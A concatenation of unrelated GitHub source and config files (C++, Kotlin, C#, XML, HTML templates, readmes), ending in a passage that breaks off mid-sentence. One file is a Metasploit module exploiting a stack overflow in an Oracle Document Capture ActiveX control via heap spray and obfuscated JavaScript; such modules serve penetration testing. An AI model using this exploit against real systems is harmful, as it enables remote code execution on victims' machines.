UnsafePointer<Int>(pointer).pointee)! } else { return UnsafeRawPointer(pointer) } } }
{ "pile_set_name": "Github" }
(* Not supported: import declaration *) (* Not supported: import declaration *) (* Not supported: import declaration *) (* Not supported: class declaration from ../../examples/ChannelSeparation/MemMonad.hs:8,7 *) (* Not supported: instance declaration from ../../examples/ChannelSeparation/MemMonad.hs:23,10 *) (* Not supported: type signature declaration from ../../examples/ChannelSeparation/MemMonad.hs:27,15 *) (* From ../../examples/ChannelSeparation/MemMonad.hs:28,16 : *) val malloc_def = Define `malloc ws = ST (allocMem ws)` handle e => (print "Function malloc failed with exception"; Exception.print_HOL_ERR e; dummyThm) ; (* Not supported: type signature declaration from ../../examples/ChannelSeparation/MemMonad.hs:30,15 *) (* From ../../examples/ChannelSeparation/MemMonad.hs:31,16 : *) val readPacket_def = Define `readPacket rng = ST (\ s . (readRange rng s, s))` handle e => (print "Function readPacket failed with exception"; Exception.print_HOL_ERR e; dummyThm) ; (* Not supported: instance declaration from ../../examples/ChannelSeparation/MemMonad.hs:35,10 *) (* Not supported: type signature declaration from ../../examples/ChannelSeparation/MemMonad.hs:41,14 *) (* From ../../examples/ChannelSeparation/MemMonad.hs:44,15 : *) val runProtected_def = Define `runProtected = runStateE` handle e => (print "CAF runProtected failed with exception"; Exception.print_HOL_ERR e; dummyThm) ;
{ "pile_set_name": "Github" }
{ "id": [ "t_wall_wood", "t_wall_wood_chipped", "t_wall_wood_broken" ], "multitile": true, "fg": [ "t_wall_wood_unconnected" ], "bg": [], "additional_tiles": [ { "id": "center", "bg": [], "fg": [ "t_wall_wood_center" ] }, { "id": "corner", "bg": [], "fg": [ "t_wall_wood_corner_nw", "t_wall_wood_corner_sw", "t_wall_wood_corner_se", "t_wall_wood_corner_ne" ] }, { "id": "t_connection", "bg": [], "fg": [ "t_wall_wood_t_connection_n", "t_wall_wood_t_connection_w", "t_wall_wood_t_connection_s", "t_wall_wood_t_connection_e" ] }, { "id": "edge", "bg": [], "fg": [ "t_wall_wood_edge_ns", "t_wall_wood_edge_ew" ] }, { "id": "end_piece", "bg": [], "fg": [ "t_wall_wood_end_piece_n", "t_wall_wood_end_piece_w", "t_wall_wood_end_piece_s", "t_wall_wood_end_piece_e" ] }, { "bg": [], "id": "unconnected", "fg": [ "t_wall_wood_unconnected" ] } ] }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <CONFIG> <ProjectOptions> <Version Value="11"/> <PathDelim Value="\"/> <General> <Flags> <MainUnitHasCreateFormStatements Value="False"/> <MainUnitHasTitleStatement Value="False"/> <LRSInOutputDirectory Value="False"/> </Flags> <SessionStorage Value="InProjectDir"/> <MainUnit Value="0"/> <Title Value="controls"/> <UseAppBundle Value="False"/> <ResourceType Value="res"/> </General> <CustomData Count="9"> <Item0 Name="BuildSystem" Value="Ant"/> <Item1 Name="LAMW" Value="GUI"/> <Item2 Name="LamwVersion" Value="0.8.4"/> <Item3 Name="NdkApi" Value="android-22"/> <Item4 Name="NdkPath" Value="C:\android\ndkr18b\"/> <Item5 Name="Package" Value="org.lamw.appimageviewlistdemo1"/> <Item6 Name="SdkPath" Value="C:\adt32\sdk\"/> <Item7 Name="StartModule" Value="AndroidModule1"/> <Item8 Name="Theme" Value="DeviceDefault"/> </CustomData> <BuildModes Count="1"> <Item1 Name="Default" Default="True"/> </BuildModes> <PublishOptions> <Version Value="2"/> <UseFileFilters Value="True"/> </PublishOptions> <RunParams> <FormatVersion Value="2"/> <Modes Count="0"/> </RunParams> <RequiredPackages Count="1"> <Item1> <PackageName Value="tfpandroidbridge_pack"/> </Item1> </RequiredPackages> <Units Count="2"> <Unit0> <Filename Value="controls.lpr"/> <IsPartOfProject Value="True"/> </Unit0> <Unit1> <Filename Value="unit1.pas"/> <IsPartOfProject Value="True"/> <ComponentName Value="AndroidModule1"/> <HasResources Value="True"/> <CustomData Count="1"> <Item0 Name="jControls" Value="jButton;jForm;jImageList;jImageView;jPanel;jTextView"/> </CustomData> </Unit1> </Units> </ProjectOptions> <CompilerOptions> <Version Value="11"/> <PathDelim Value="\"/> <Target> <Filename Value="..\libs\armeabi-v7a\libcontrols"/> </Target> <SearchPaths> <Libraries Value="C:\android\ndkr18b\platforms\android-22\arch-arm\usr\lib\;C:\android\ndkr18b\toolchains\arm-linux-androideabi-4.9\prebuilt\windows-x86_64\lib\gcc\arm-linux-androideabi\4.9.x\"/> <UnitOutputDirectory Value="..\obj\controls"/> </SearchPaths> <Parsing> <SyntaxOptions> <SyntaxMode Value="delphi"/> <CStyleMacros Value="True"/> </SyntaxOptions> </Parsing> <CodeGeneration> <SmartLinkUnit Value="True"/> <TargetCPU Value="arm"/> <TargetOS Value="android"/> <Optimizations> <OptimizationLevel Value="3"/> </Optimizations> <SmallerCode Value="True"/> </CodeGeneration> <Linking> <Debugging> <GenerateDebugInfo Value="False"/> <StripSymbols Value="True"/> </Debugging> <LinkSmart Value="True"/> <Options> <ExecutableType Value="Library"/> </Options> </Linking> <Other> <CustomOptions Value="-Xd -CfSoft -CpARMV7A -XParm-linux-androideabi- -FDC:\android\ndkr18b\toolchains\arm-linux-androideabi-4.9\prebuilt\windows-x86_64\bin"/> </Other> </CompilerOptions> <Debugging> <Exceptions Count="3"> <Item1> <Name Value="EAbort"/> </Item1> <Item2> <Name Value="ECodetoolError"/> </Item2> <Item3> <Name Value="EFOpenError"/> </Item3> </Exceptions> </Debugging> </CONFIG>
{ "pile_set_name": "Github" }
// // TaskManager.cpp // // $Id: //poco/1.4/Foundation/src/TaskManager.cpp#1 $ // // Library: Foundation // Package: Tasks // Module: Tasks // // Copyright (c) 2004-2006, Applied Informatics Software Engineering GmbH. // and Contributors. // // Permission is hereby granted, free of charge, to any person or organization // obtaining a copy of the software and accompanying documentation covered by // this license (the "Software") to use, reproduce, display, distribute, // execute, and transmit the Software, and to prepare derivative works of the // Software, and to permit third-parties to whom the Software is furnished to // do so, all subject to the following: // // The copyright notices in the Software and this entire statement, including // the above license grant, this restriction and the following disclaimer, // must be included in all copies of the Software, in whole or in part, and // all derivative works of the Software, unless such copies or derivative // works are solely in the form of machine-executable object code generated by // a source language processor. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT // SHALL THE COPYRIGHT HOLDERS OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE // FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE, // ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER // DEALINGS IN THE SOFTWARE. // #include "Poco/TaskManager.h" #include "Poco/TaskNotification.h" #include "Poco/ThreadPool.h" namespace Poco { const int TaskManager::MIN_PROGRESS_NOTIFICATION_INTERVAL = 100000; // 100 milliseconds TaskManager::TaskManager(): _threadPool(ThreadPool::defaultPool()) { } TaskManager::TaskManager(ThreadPool& pool): _threadPool(pool) { } TaskManager::~TaskManager() { } void TaskManager::start(Task* pTask) { TaskPtr pAutoTask(pTask); // take ownership immediately FastMutex::ScopedLock lock(_mutex); pAutoTask->setOwner(this); pAutoTask->setState(Task::TASK_STARTING); _taskList.push_back(pAutoTask); try { _threadPool.start(*pAutoTask, pAutoTask->name()); } catch (...) { // Make sure that we don't act like we own the task since // we never started it. If we leave the task on our task // list, the size of the list is incorrect. _taskList.pop_back(); throw; } } void TaskManager::cancelAll() { FastMutex::ScopedLock lock(_mutex); for (TaskList::iterator it = _taskList.begin(); it != _taskList.end(); ++it) { (*it)->cancel(); } } void TaskManager::joinAll() { _threadPool.joinAll(); } TaskManager::TaskList TaskManager::taskList() const { FastMutex::ScopedLock lock(_mutex); return _taskList; } void TaskManager::addObserver(const AbstractObserver& observer) { _nc.addObserver(observer); } void TaskManager::removeObserver(const AbstractObserver& observer) { _nc.removeObserver(observer); } void TaskManager::postNotification(Notification* pNf) { _nc.postNotification(pNf); } void TaskManager::taskStarted(Task* pTask) { _nc.postNotification(new TaskStartedNotification(pTask)); } void TaskManager::taskProgress(Task* pTask, float progress) { FastMutex::ScopedLock lock(_mutex); if (_lastProgressNotification.isElapsed(MIN_PROGRESS_NOTIFICATION_INTERVAL)) { _lastProgressNotification.update(); _nc.postNotification(new TaskProgressNotification(pTask, progress)); } } void TaskManager::taskCancelled(Task* pTask) { _nc.postNotification(new TaskCancelledNotification(pTask)); } void TaskManager::taskFinished(Task* pTask) { _nc.postNotification(new TaskFinishedNotification(pTask)); FastMutex::ScopedLock lock(_mutex); for (TaskList::iterator it = _taskList.begin(); it != _taskList.end(); ++it) { if (*it == pTask) { _taskList.erase(it); break; } } } void TaskManager::taskFailed(Task* pTask, const Exception& exc) { _nc.postNotification(new TaskFailedNotification(pTask, exc)); } } // namespace Poco
{ "pile_set_name": "Github" }
<div class="b-settings-accounts g-ui-user-select-none"> <div data-bind="visible: allowAdditionalAccount"> <div class="form-horizontal"> <div class="legend"> <span class="i18n" data-i18n="SETTINGS_ACCOUNTS/LEGEND_ACCOUNTS"></span> &nbsp;&nbsp;&nbsp; <i class="icon-spinner animated" style="margin-top: 5px" data-bind="visible: accounts.loading"></i> </div> </div> <a class="btn" data-bind="click: addNewAccount"> <i class="icon-user-add"></i> &nbsp;&nbsp; <span class="i18n" data-i18n="SETTINGS_ACCOUNTS/BUTTON_ADD_ACCOUNT"></span> </a> <br /> <br /> <br /> <div class="accounts-list-wrp"> <div class="accounts-list-top-padding"></div> <table class="table table-hover list-table accounts-list" data-bind="i18nUpdate: accounts"> <colgroup> <col /> <col style="width: 150px" /> <col style="width: 1%" /> </colgroup> <tbody data-bind="sortable: {data: accounts, options: scrollableOptions('.accounts-list-wrp'), afterMove: accountsAndIdentitiesAfterMove}"> <tr class="account-item"> <td class="e-action" data-bind="css: {'e-action': canBeEdit}"> <span class="account-img icon-user"></span> <i class="icon-braille drag-handle"></i> &nbsp;&nbsp; <span class="account-name" data-bind="text: email"></span> </td> <td> <span data-bind="visible: !canBeDeleted()"></span> <a class="btn btn-small btn-small-small btn-danger pull-right button-delete button-delete-transitions" data-bind="visible: canBeDeleted, css: {'delete-access': deleteAccess}, click: function(oAccount) { $root.deleteAccount(oAccount); }"> <span class="i18n" data-i18n="SETTINGS_ACCOUNTS/DELETING_ASK"></span> </a> </td> <td> <span class="delete-account" data-bind="visible: !deleteAccess() && canBeDeleted(), click: function (oAccount) { $root.accountForDeletion(oAccount); }"> <i class="icon-trash"></i> </span> </td> </tr> </tbody> </table> </div> </div> <div data-bind="visible: allowIdentities"> <br /> <div class="form-horizontal"> <div class="legend"> <span class="i18n" data-i18n="SETTINGS_ACCOUNTS/LEGEND_IDENTITIES"></span> </div> </div> <a class="btn" data-bind="click: addNewIdentity"> <i class="icon-user-add"></i> &nbsp;&nbsp; <span class="i18n" data-i18n="SETTINGS_ACCOUNTS/BUTTON_ADD_IDENTITY"></span> </a> <br /> <br /> <br /> <div class="identities-list-wrp"> <div class="identities-list-top-padding"></div> <table class="table table-hover list-table identities-list" data-bind="i18nUpdate: identities"> <colgroup> <col /> <col style="width: 150px" /> <col style="width: 1%" /> </colgroup> <tbody data-bind="sortable: {data: identities, options: scrollableOptions('.identities-list-wrp'), afterMove: accountsAndIdentitiesAfterMove}"> <tr class="identity-item"> <td class="e-action"> <span class="identity-img icon-user"></span> <i class="icon-braille drag-handle"></i> &nbsp;&nbsp; <span class="identity-name" data-bind="text: formattedName()"></span> &nbsp;&nbsp; <span class="identity-default" data-bind="visible: 0 === $index()"> (<span class="i18n" data-i18n="SETTINGS_ACCOUNTS/DEFAULT_IDENTITY_LABEL"></span>) </span> </td> <td> <span data-bind="visible: !canBeDeleted()"></span> <a class="btn btn-small btn-small-small btn-danger pull-right button-delete button-delete-transitions" data-bind="visible: canBeDeleted, css: {'delete-access': deleteAccess}, click: function(oIdentity) { $root.deleteIdentity(oIdentity); }"> <span class="i18n" data-i18n="SETTINGS_ACCOUNTS/DELETING_ASK"></span> </a> </td> <td> <span class="delete-identity" data-bind="visible: !deleteAccess() && canBeDeleted(), click: function (oIdentity) { $root.identityForDeletion(oIdentity); }"> <i class="icon-trash"></i> </span> </td> </tr> </tbody> </table> </div> </div> </div>
{ "pile_set_name": "Github" }
#import <Foundation/Foundation.h> #import "FIRDynamicLink.h" #import "FIRDynamicLinksCommon.h" #import "FIRDynamicLinksSwiftNameSupport.h" NS_ASSUME_NONNULL_BEGIN /** * @file FIRDynamicLinks.h * @abstract Firebase Dynamic Links */ /** * @class FIRDynamicLinks * @abstract A class that checks for pending Dynamic Links and parses URLs. */ FIR_SWIFT_NAME(DynamicLinks) @interface FIRDynamicLinks : NSObject /** * @method dynamicLinks * @abstract Shared instance of FIRDynamicLinks. Returns nil on iOS versions prior to 8. * @return Shared instance of FIRDynamicLinks. */ + (nullable instancetype)dynamicLinks FIR_SWIFT_NAME(dynamicLinks()); /** * @method shouldHandleDynamicLinkFromCustomSchemeURL: * @abstract Determine whether FIRDynamicLinks should handle the given URL. This does not * guarantee that |dynamicLinkFromCustomSchemeURL:| will return a non-nil value, but it means * the client should not attempt to handle the URL. * @param url Custom scheme URL. * @return Whether the URL can be handled by FIRDynamicLinks. */ - (BOOL)shouldHandleDynamicLinkFromCustomSchemeURL:(NSURL *)url FIR_SWIFT_NAME(shouldHandleDynamicLink(fromCustomSchemeURL:)); /** * @method dynamicLinkFromCustomSchemeURL: * @abstract Get a Dynamic Link from a custom scheme URL. This method parses URLs with a custom * scheme, for instance, "comgoogleapp://google/link?deep_link_id=abc123". It is suggested to * call it inside your |UIApplicationDelegate|'s * |application:openURL:sourceApplication:annotation| and |application:openURL:options:| * methods. * @param url Custom scheme URL. * @return Dynamic Link object if the URL is valid and has link parameter, otherwise nil. */ - (nullable FIRDynamicLink *)dynamicLinkFromCustomSchemeURL:(NSURL *)url FIR_SWIFT_NAME(dynamicLink(fromCustomSchemeURL:)); /** * @method dynamicLinkFromUniversalLinkURL: * @abstract Get a Dynamic Link from a universal link URL. This method parses universal link * URLs, for instance, * "https://example.app.goo.gl?link=https://www.google.com&ibi=com.google.app&ius=comgoogleapp". * It is suggested to call it inside your |UIApplicationDelegate|'s * |application:continueUserActivity:restorationHandler:| method. * @param url Custom scheme URL. * @return Dynamic Link object if the URL is valid and has link parameter, otherwise nil. */ - (nullable FIRDynamicLink *)dynamicLinkFromUniversalLinkURL:(NSURL *)url FIR_SWIFT_NAME(dynamicLink(fromUniversalLink:)); /** * @method handleUniversalLink:completion: * @abstract Convenience method to handle a Universal Link whether it is long or short. A long link * will call the handler immediately, but a short link may not. * @param url A Universal Link URL. * @param completion A block that handles the outcome of attempting to create a FIRDynamicLink. * @return YES if FIRDynamicLinks is handling the link, otherwise, NO. */ - (BOOL)handleUniversalLink:(NSURL *)url completion:(FIRDynamicLinkUniversalLinkHandler)completion; /** * @method resolveShortLink:completion: * @abstract Retrieves the details of the Dynamic Link that the shortened URL represents. * @param url A Short Dynamic Link. * @param completion Block to be run upon completion. */ - (void)resolveShortLink:(NSURL *)url completion:(FIRDynamicLinkResolverHandler)completion; /** * @method matchesShortLinkFormat: * @abstract Determines if a given URL matches the given short Dynamic Link format. * @param url A URL. * @return YES if the URL is a short Dynamic Link, otherwise, NO. */ - (BOOL)matchesShortLinkFormat:(NSURL *)url; /** * @method performDiagnosticsWithCompletion: * @abstract Performs basic FDL self diagnostic. Method effect on startup latency is quite small * and no user-visble UI is presented. This method should be used for debugging purposes. * App developers are encouraged to include output, generated by this method, to the support * requests sent to Firebase support. * @param completionHandler Handler that will be called when diagnostic completes. * If value of the completionHandler is nil than diagnostic output will be printed to * the standard output. * diagnosticOutput String that includes diagnostic information. * hasErrors Param will have YES value if diagnostic method detected error, NO otherwise. */ + (void)performDiagnosticsWithCompletion:(void (^_Nullable)(NSString *diagnosticOutput, BOOL hasErrors))completionHandler; @end NS_ASSUME_NONNULL_END
{ "pile_set_name": "Github" }
{% extends "base.html" %} {% block title %}Bookmark an image{% endblock %} {% block content %} <h1>Bookmark an image</h1> <img src="{{ request.GET.url }}" class="image-preview"> <form action="." method="post"> {{ form.as_p }} {% csrf_token %} <input type="submit" value="Bookmark it!"> </form> {% endblock %}
{ "pile_set_name": "Github" }
/* Copyright 1999, Be Incorporated. All Rights Reserved. This file may be used under the terms of the Be Sample Code License. */ #ifndef ROCK_RIDGE_H #define ROCK_RIDGE_H // Altername name field flags. enum NMFLAGS { NM_CONTINUE = 1, NM_CURRENT = 2, NM_PARENT = 4, NM_HOST = 32 }; // Symbolic link field flags enum SLFLAGS { SL_CONTINUE = 1 }; // Symbolic link field component flags enum SLCPFLAGS { SLCP_CONTINUE = 1, SLCP_CURRENT = 2, SLCP_PARENT = 4, SLCP_ROOT = 8, SLCP_VOLROOT = 16, SLCP_HOST = 32 }; #endif // ROCK_RIDGE_H
{ "pile_set_name": "Github" }
**Summary:** Summarize your issue in one sentence (what goes wrong, what did you expect to happen) _Before creating an issue, please search the existing issues to see if a similar one has already been created. You can search issues by specific labels (e.g. `label:nearby`) or just by typing keywords into the search filter._ **Steps to reproduce:** How can we reproduce the issue? What did you expect the app to do, and what did you see instead? **System logs:** ``` Add logcat files here (if possible). Need help? See https://github.com/commons-app/apps-android-commons/wiki/Getting-app-logs-from-Android-Studio ``` **Device and Android version:** What make and model device (e.g., Samsung J7) did you encounter this on? What Android version (e.g., Android 4.0 Ice Cream Sandwich or Android 6.0 Marshmallow) are you running? Is it the stock version from the manufacturer or a custom ROM ? **Commons app version:** You can find this information by going to the navigation drawer in the app and tapping 'About'. If you are building from our codebase instead of downloading the app, please also mention the branch and build variant (e.g. master and prodDebug). **Screen-shots:** Can be created by pressing the Volume Down and Power Button at the same time on Android 4.0 and higher. **Would you like to work on the issue?** Please let us know whether you want to fix the issue by yourself. If not, anyone can get the issue assigned to them.
{ "pile_set_name": "Github" }
package com.kaspersky.kaspressample.idlingwait import android.os.Bundle import android.os.Handler import android.os.Looper import androidx.appcompat.app.AppCompatActivity import com.kaspersky.kaspressample.R import java.util.concurrent.Executors import java.util.concurrent.TimeUnit import kotlinx.android.synthetic.main.activity_idlewaiting.* class WaitForIdleActivity : AppCompatActivity() { companion object { private const val INIT_DELAY: Long = 2_000 private const val PERIOD: Long = 100 private const val TOTAL_TIME: Long = 20_000 } override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_idlewaiting) } override fun onResume() { super.onResume() val scheduler = Executors.newScheduledThreadPool(1) val periodicTask = scheduler.scheduleAtFixedRate( { Handler(Looper.getMainLooper()).post { edit.setText(R.string.idlewaiting_fragment_text_edittext) } }, INIT_DELAY, PERIOD, TimeUnit.MILLISECONDS ) scheduler.schedule({ periodicTask.cancel(true) }, TOTAL_TIME, TimeUnit.MILLISECONDS) } }
{ "pile_set_name": "Github" }
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle Document Capture 10g ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Oracle Document Capture 10g (10.1.3.5.0). Oracle Document Capture 10g comes bundled with a third party ActiveX control emsmtp.dll (6.0.1.0). When passing an overly long string to the method "SubmitToExpress" an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'References' => [ [ 'CVE', '2007-4607' ], [ 'OSVDB', '38335' ], [ 'BID', '25467' ], [ 'US-CERT-VU', '281977' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ] ], 'DisclosureDate' => 'Aug 28 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) ]) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # fluff.. fluff = rand_text_english(rand(20) + 1) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) js = %Q| try { var evil_string = ""; var index; // CLSID:68AC0D5F-0424-11D5-822F-00C04F6BA8D9 var vulnerable = new ActiveXObject('EasyMail.SMTP.6'); var my_unescape = unescape; var shellcode = '#{shellcode}'; #{js_heap_spray} sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000); for (index = 0; index < 12500; index++) { evil_string = evil_string + my_unescape('%0a%0a%0a%0a'); } vulnerable.SubmitToExpress(evil_string); } catch( e ) { window.location = 'about:blank' ; } | opts = { 'Strings' => true, 'Symbols' => { 'Variables' => [ 'vulnerable', 'shellcode', 'my_unescape', 'index', 'evil_string', ] } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) js.update_opts(js_heap_spray.opts) js.obfuscate(memory_sensitive: true) content = %Q| <html> <body> <script><!-- #{js} //</script> </body> </html> | print_status("Sending #{self.name}") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end
{ "pile_set_name": "Github" }
/* * clipboard.c * vim: expandtab:ts=4:sts=4:sw=4 * * Copyright (C) 2019 - 2020 Michael Vetter <jubalh@iodoru.org> * * This file is part of Profanity. * * Profanity is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Profanity is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Profanity. If not, see <https://www.gnu.org/licenses/>. * * In addition, as a special exception, the copyright holders give permission to * link the code of portions of this program with the OpenSSL library under * certain conditions as described in each individual source file, and * distribute linked combinations including the two. * * You must obey the GNU General Public License in all respects for all of the * code used other than OpenSSL. If you modify file(s) with this exception, you * may extend this exception to your version of the file(s), but you are not * obligated to do so. If you do not wish to do so, delete this exception * statement from your version. If you delete this exception statement from all * source files in the program, then also delete it here. * */ #include "config.h" #ifdef HAVE_GTK #include <gtk/gtk.h> #include <glib.h> #include <stdlib.h> #include "log.h" /* For now we rely on tray_init(void) void clipboard_init(int argc, char **argv) { gtk_init(&argc, &argv); } */ char* clipboard_get(void) { gchar* clip; GtkClipboard* cl = gtk_clipboard_get(GDK_SELECTION_CLIPBOARD); gtk_clipboard_clear(cl); if (cl == NULL) { log_error("Could not get clipboard"); return NULL; } //while(!gtk_clipboard_wait_is_text_available(cld)) {} clip = gtk_clipboard_wait_for_text(cl); return clip; } #endif
{ "pile_set_name": "Github" }
using UnityEngine; using System.Collections.Generic; namespace com.spacepuppy.SPInput { public class InputSignatureCollection : IInputSignatureCollection { #region Fields private Dictionary<string, IInputSignature> _table = new Dictionary<string, IInputSignature>(); private List<IInputSignature> _sortedList = new List<IInputSignature>(); #endregion #region Methods public Enumerator GetEnumerator() { return new Enumerator(this); } #endregion #region IInputSignatureCollection Interface public virtual IInputSignature GetSignature(string id) { IInputSignature result; if (_table.TryGetValue(id, out result) && result != null && result.Id == id) { return result; } return null; } public virtual bool Contains(string id) { IInputSignature result; if (_table.TryGetValue(id, out result) && result != null && result.Id == id) { return true; } return false; } public virtual bool Remove(string id) { IInputSignature sig; if (_table.TryGetValue(id, out sig) && _table.Remove(id)) { _sortedList.Remove(sig); return true; } return false; } public void Sort() { _sortedList.Sort(SortOnPrecedence); } #endregion #region ICollection Interface public int Count { get { return _table.Count; } } public void Add(IInputSignature item) { if (item == null) throw new System.ArgumentNullException("item"); if (_table.ContainsKey(item.Id)) throw new System.ArgumentException("A signature already exists with this Id and/or Hash.", "item"); var e = _table.GetEnumerator(); while (e.MoveNext()) { if (e.Current.Value.Id == item.Id) { throw new System.ArgumentException("A signature already exists with this Id and/or Hash.", "item"); } } _table[item.Id] = item; _sortedList.Add(item); } public void Clear() { _table.Clear(); _sortedList.Clear(); } public bool Contains(IInputSignature item) { return _sortedList.Contains(item); } public void CopyTo(IInputSignature[] array, int arrayIndex) { _sortedList.CopyTo(array, arrayIndex); } bool ICollection<IInputSignature>.IsReadOnly { get { return false; } } public bool Remove(IInputSignature item) { var e = _table.GetEnumerator(); while (e.MoveNext()) { if (e.Current.Value == item) { if (_table.Remove(e.Current.Key)) { _sortedList.Remove(item); return true; } else return false; } } return false; } IEnumerator<IInputSignature> IEnumerable<IInputSignature>.GetEnumerator() { return this.GetEnumerator(); } System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() { return this.GetEnumerator(); } #endregion #region Special Types public struct Enumerator : IEnumerator<IInputSignature> { private List<IInputSignature>.Enumerator _e; public Enumerator(InputSignatureCollection coll) { if (coll == null) throw new System.ArgumentNullException("coll"); _e = coll._sortedList.GetEnumerator(); } public IInputSignature Current { get { return _e.Current; } } object System.Collections.IEnumerator.Current { get { return _e.Current; } } public bool MoveNext() { return _e.MoveNext(); } void System.Collections.IEnumerator.Reset() { (_e as System.Collections.IEnumerator).Reset(); } public void Dispose() { _e.Dispose(); } } #endregion #region Sort Methods private static System.Comparison<IInputSignature> _sortOnPrecedence; private static System.Comparison<IInputSignature> SortOnPrecedence { get { if (_sortOnPrecedence == null) { _sortOnPrecedence = (a, b) => { if (a.Precedence > b.Precedence) return 1; if (a.Precedence < b.Precedence) return -1; else return 0; }; } return _sortOnPrecedence; } } #endregion } }
{ "pile_set_name": "Github" }
/*! * Copyright 1999-2018 Alibaba Group Holding Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ .config-editor { padding: 10px; .func-title { overflow: hidden; height: 50px; width: 100%; font-weight: 500; margin-bottom: 9px; font-size: 18px; line-height: 36px; color: #73777a; } .form { display: table; .next-form-item { display: table-row; .next-form-item-label { white-space: nowrap; word-break: keep-all; } .next-form-item-control, .next-select { width: 100%; } .next-form-item-label, .next-form-item-control { display: table-cell; } } .next-form-item-control { padding-bottom: 12px; } .next-checkbox-label { color: #73777a; font-weight: normal; } .next-radio-label { color: #73777a; } .switch { color: #33cde5; cursor: pointer; user-select: none; } .help-label > * { display: inline-block; } .help-label > i { color: #1dc11d; margin: 0 0.25em; } } .button-list { text-align: right; button { margin-left: 1em; font-size: 14px; } } }
{ "pile_set_name": "Github" }
--- files: - https://docs.google.com/spreadsheets/d/e/2PACX-1vS15V8lYPUc_OH4OBss6d8NPGRnCH1lAlBBY4FYWcK6cm6iVM8dXE_4KMFOUybRe-cVvDg7ap46FPig/pub?gid=39569490&single=true&output=csv&/impeachment-polls.csv - https://projects.fivethirtyeight.com/impeachment-polls/impeachment_topline.csv --- # Impeachment Polls This file contains links to the data behind [Do Americans Support Impeaching Trump?](https://fivethirtyeight.com/features/do-americans-support-impeaching-president-trump/)
{ "pile_set_name": "Github" }
// // main.m // YUChineseSorting // // Created by yuzhx on 15/4/19. // Copyright (c) 2015年 BruceYu. All rights reserved. // #import <UIKit/UIKit.h> #import "AppDelegate.h" int main(int argc, char * argv[]) { @autoreleasepool { return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); } }
{ "pile_set_name": "Github" }
<!-- THIS IS AUTO-GENERATED CONTENT. DO NOT MANUALLY EDIT. --> This image is part of the [balena.io][balena] base image series for IoT devices. The image is optimized for use with [balena.io][balena] and [balenaOS][balena-os], but can be used in any Docker environment running on the appropriate architecture. ![balenalogo](https://avatars2.githubusercontent.com/u/6157842?s=200&v=4). Some notable features in `balenalib` base images: - Helpful package installer script called `install_packages` that abstracts away the specifics of the underlying package managers. It will install the named packages with smallest number of dependencies (ignore optional dependencies), clean up the package manager medata and retry if package install fails. - Working with dynamically plugged devices: each `balenalib` base image has a default `ENTRYPOINT` which is defined as `ENTRYPOINT ["/usr/bin/entry.sh"]`, it checks if the `UDEV` flag is set to true or not (by adding `ENV UDEV=1`) and if true, it will start `udevd` daemon and the relevant device nodes in the container /dev will appear. For more details, please check the [features overview](https://www.balena.io/docs/reference/base-images/base-images/#features-overview) in our documentation. # [Image Variants][variants] The `balenalib` images come in many flavors, each designed for a specific use case. ## `:<version>` or `:<version>-run` This is the defacto image. The `run` variant is designed to be a slim and minimal variant with only runtime essentials packaged into it. ## `:<version>-build` The build variant is a heavier image that includes many of the tools required for building from source. This reduces the number of packages that you will need to manually install in your Dockerfile, thus reducing the overall size of all images on your system. [variants]: https://www.balena.io/docs/reference/base-images/base-images/#run-vs-build?ref=dockerhub # How to use this image with Balena This [guide][getting-started] can help you get started with using this base image with balena, there are also some cool [example projects][example-projects] that will give you an idea what can be done with balena. # What is Node.js? Node.js is a software platform for scalable server-side and networking applications. Node.js applications are written in JavaScript and can be run within the Node.js runtime on Mac OS X, Windows, and Linux without changes. Node.js applications are designed to maximize throughput and efficiency, using non-blocking I/O and asynchronous events. Node.js applications run single-threaded, although Node.js uses multiple threads for file and network events. Node.js is commonly used for real-time applications due to its asynchronous nature. Node.js internally uses the Google V8 JavaScript engine to execute code; a large percentage of the basic modules are written in JavaScript. Node.js contains a built-in, asynchronous I/O library for file, socket, and HTTP communication. The HTTP and socket support 